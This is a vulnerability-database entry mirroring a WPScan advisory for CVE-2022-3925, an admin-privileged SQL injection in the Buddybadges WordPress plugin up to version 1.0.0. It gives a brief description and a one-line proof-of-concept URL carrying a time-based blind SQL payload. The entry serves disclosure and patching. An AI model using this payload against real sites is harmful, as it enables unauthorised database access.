Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbKunal SharmaWPVDB-ID:178499A3-97D1-4AB2-ABBE-4A9D2EBC85DA
HistoryNov 17, 2022 - 12:00 a.m.

Buddybadges <= 1.0.0 - Admin+ SQLi

2022-11-1700:00:00
Kunal Sharma
wpscan.com
6
buddybadges
sql injection
admin+ privilege
security vulnerability
exploitable.

EPSS

0.001

Percentile

44.6%

JSON

The plugin does not sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users

PoC

https://example.com/wp-admin/options-general.php?page=buddybadge&_wpedit=b2f9b59706&amp;edit;=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(10)))hlAf)

Related

cve 1
cvelist 1
nvd 1
prion 1
wpexploit 1
cve
cve
CVE-2022-3925
2022-12-12 18:15:12
cvelist
cvelist
CVE-2022-3925 Buddybadges <= 1.0.0 - Admin+ SQLi
2022-12-12 17:54:38
nvd
nvd
CVE-2022-3925
2022-12-12 18:15:12
prion
prion
Sql injection
2022-12-12 18:15:00
wpexploit
wpexploit
Buddybadges <= 1.0.0 - Admin+ SQLi
2022-11-17 00:00:00

EPSS

0.001

Percentile

44.6%

JSON
Related for WPVDB-ID:178499A3-97D1-4AB2-ABBE-4A9D2EBC85DA
cve1cvelist1nvd1prion1wpexploit1